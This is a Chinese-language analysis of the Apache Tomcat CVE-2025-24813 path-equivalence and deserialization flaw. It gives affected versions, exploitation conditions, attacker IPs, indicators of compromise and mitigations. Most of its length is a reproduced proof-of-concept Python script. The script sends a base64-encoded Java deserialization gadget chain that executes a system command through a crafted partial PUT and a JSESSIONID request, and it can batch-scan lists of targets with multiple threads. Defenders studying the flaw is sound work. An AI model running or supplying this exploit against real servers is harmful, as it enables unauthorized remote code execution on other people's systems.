CVE-2025-24813 漏洞全解析|Apache Tomcat 關鍵路徑繞過與RCE
作者:Factor .Poc作者:iSee857
- CVE-2025-24813 漏洞全解析|Apache Tomcat 關鍵路徑繞過與RCE
- 一、漏洞概述
- 二、影響版本
- 三、漏洞原理
- 🎯 利用流程(兩步):
- 四、漏洞利用條件
- 五、在野利用情況與威脅分析
- 🌐 已知惡意攻擊者 IP(來自 Greynoise 數據):
- 🔍 指紋與攻擊跡象(IoC):
- 六、PoC 與復現情況
- Poc引用作者:iSee857
- Poc復現:
- 七、防護建議
- ? 官方修復版本:
- ? 臨時緩解策略:
- ? 工具支持:
- 八、總結

一、漏洞概述
CVE-2025-24813 是 Apache Tomcat 中一個關鍵的路徑等效性(Path Equivalence)漏洞,允許未經身份驗證的遠程攻擊者在特定配置下實現遠程代碼執行(RCE)、讀取敏感文件,甚至篡改文件內容。該漏洞已在野外被觀察到存在實際利用行為,影響范圍廣泛。
二、影響版本
- Tomcat 11.0.0-M1 至 11.0.2(修復于 11.0.3)
- Tomcat 10.1.0-M1 至 10.1.34(修復于 10.1.35)
- Tomcat 9.0.0.M1 至 9.0.98(修復于 9.0.99)
- Tomcat 8.5.x(Insikt Group 發現 8.5.0 至 8.5.98 和 8.5.100 也受影響,8.5.99 是唯一不受影響版本)
三、漏洞原理
該漏洞的核心是 Tomcat 對部分 PUT 請求(Partial PUT)和文件路徑解析的處理邏輯存在缺陷,攻擊者可以通過構造特定請求繞過默認中間件驗證機制,從而觸發遠程代碼執行或敏感文件操作。
🎯 利用流程(兩步):
- 攻擊者構造一個 Base64 編碼的 Java 反序列化 Payload,通過
PUT
請求提交至服務端。 - 隨后通過一個附帶特制 JSESSIONID 的 GET 請求觸發服務器反序列化該 Payload,最終執行任意代碼。
四、漏洞利用條件
遠程代碼執行(RCE)需要滿足以下條件:
- 默認 Servlet 具備寫權限(默認是關閉的)
- 啟用 Partial PUT(默認開啟)
- 應用使用基于文件的 Session 持久化,且存儲位置為默認目錄
- 應用中包含可被反序列化利用的第三方庫(如 fastjson, commons-collections 等)
此外,如果配置允許,攻擊者還可以:
- 查看敏感安全文件內容
- 注入數據至敏感文件
這些額外風險成立的前提:
- 上傳路徑在可公開訪問目錄之下
- 攻擊者知道目標上傳文件名
- 上傳通過 Partial PUT 實現
注:雖然這些條件組合在一起并不常見,但確實存在大量線上實例仍配置為可被利用狀態。
五、在野利用情況與威脅分析
🌐 已知惡意攻擊者 IP(來自 Greynoise 數據):
惡意IP地址 | 來源地 | 攻擊目標國家 |
---|---|---|
203.160.68.24 | 中國香港 | 美國 |
176.65.138.172 | 德國 | 日本、新加坡、印尼、臺灣等 |
38.126.114.186 | 美國 | 印度、墨西哥、美國 |
188.213.161.98 | 意大利 | 日本、韓國 |
140.143.182.115 | 中國 | 澳大利亞、墨西哥等 |
196.240.54.120 | 拉脫維亞 | 美國 |
全球范圍內,Shodan 掃描數據顯示,約有 378,444 臺暴露的 Tomcat 實例可能受到影響,主要分布在中國、美國、摩洛哥和巴西等地。
🔍 指紋與攻擊跡象(IoC):
- Web 目錄中出現未知
.jsp
文件 - Web 日志中存在異常 PUT 請求記錄
- 外部 GET/POST 請求訪問惡意 JSP
- WAF 報告觸發“未授權上傳”規則
六、PoC 與復現情況
使用方式:
批量檢測支持多線程:
python poc.py -l url.txt -t 5
單個檢測:
python poc.py -u your-ip
Poc引用作者:iSee857
引用至:https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X
Poc復現:
import argparse
import base64
import sys
import requests
from concurrent.futures import ThreadPoolExecutorCOLOR = {"RED": "\033[91m","GREEN": "\033[92m","YELLOW": "\033[93m","BLUE": "\033[94m","PURPLE": "\033[95m","CYAN": "\033[96m","RESET": "\033[0m"
}BANNER = rf"""
{COLOR['PURPLE']}___ _ __ ___ | |_ ___ ___| |_ / _ \| '_ \ / _ \| __/ _ \/ __| __|
| (_) | |_) | (_) | || __/\__ \ |_ \___/| .__/ \___/ \__\___||___/\__||_| {COLOR['CYAN']}Apache Tomcat RCE Detector
{COLOR['RED']}CVE-2025-24813 {COLOR['RESET']}@Author: iSee857
"""# Payload
PAYLOAD = base64.b64decode("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"
)def print_vulnerable(target):print(f"\n{COLOR['RED']}[!] 目標存在漏洞: {target}")print(f"[+] CVE-2025-24813 Apache Tomcat 遠程代碼執行漏洞{COLOR['RESET']}\n")def check_target(target):try:host, port = target.split(":")port = int(port)except:print(f"{COLOR['YELLOW']}[!] 無效目標格式: {target}{COLOR['RESET']}")returnbase_url = f"http://{host}:{port}"put_url = f"{base_url}/iSee857/session"try:put_response = requests.put(put_url,headers={"Host": f"{host}:{port}","Content-Length": "10000","Content-Range": "bytes 0-1000/1200"},data=PAYLOAD,verify=False,timeout=10)if put_response.status_code == 409:get_response = requests.get(base_url,headers={"Cookie": "JSESSIONID=.iSee857"},verify=False,timeout=10)if get_response.status_code == 500:print_vulnerable(target)return Trueprint(f"{COLOR['GREEN']}[+] {target} 未檢測到漏洞{COLOR['RESET']}")return Falseexcept requests.exceptions.RequestException as e:print(f"{COLOR['YELLOW']}[!] {target} 檢測失敗: {str(e)}{COLOR['RESET']}")return Falseexcept Exception as e:print(f"{COLOR['RED']}[!] {target} 發生錯誤: {str(e)}{COLOR['RESET']}")return Falsedef main():print(BANNER)parser = argparse.ArgumentParser(description='Apache Tomcat RCE檢測工具')parser.add_argument('-u', '--url', help='單個目標 (格式: ip:port)')parser.add_argument('-l', '--list', help='包含多個目標的文件')parser.add_argument('-t', '--threads', type=int, default=5, help='并發線程數 (默認: 5)')args = parser.parse_args()targets = []if args.url:targets.append(args.url)elif args.list:try:with open(args.list, 'r') as f:targets = [line.strip() for line in f if line.strip()]except FileNotFoundError:print(f"{COLOR['RED']}[!] 文件不存在: {args.list}{COLOR['RESET']}")sys.exit(1)else:parser.print_help()sys.exit(1)print(f"{COLOR['CYAN']}[*] 開始檢測,共 {len(targets)} 個目標...{COLOR['RESET']}")with ThreadPoolExecutor(max_workers=args.threads) as executor:results = executor.map(check_target, targets)vulnerable_count = sum(1 for result in results if result)print(f"\n{COLOR['PURPLE']}[*] 檢測完成,共發現 {vulnerable_count} 個存在漏洞的目標{COLOR['RESET']}")if __name__ == "__main__":main()
七、防護建議
? 官方修復版本:
- 升級至:11.0.3 / 10.1.35 / 9.0.99
- 8.5.x 用戶建議遷移至受支持分支,避免繼續使用 EoL 版本
? 臨時緩解策略:
-
顯式關閉 default servlet 的寫權限:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param> -
在 Web 應用中禁用 Partial PUT 請求(使用 WAF 攔截或 nginx 過濾)
-
清理 webapps/ROOT/ 路徑下的未授權文件
? 工具支持:
- Insikt Group 提供 Nuclei 檢測模板(可用于批量掃描)
- Recorded Future 提供 ASI 簽名規則用于攻擊面定位
八、總結
CVE-2025-24813 是一次典型的“路徑+反序列化+配置缺陷”復合型漏洞,表面上源于文件路徑處理缺陷,實際利用則依賴于多個錯誤配置的疊加效應。
它提醒我們:邊界可信假設失效、中間件權限設置失誤、反序列化引擎暴露等老問題,在現代系統中依舊構成致命威脅。
安全不僅僅是打補丁,更是對配置、邏輯與習慣的全面治理。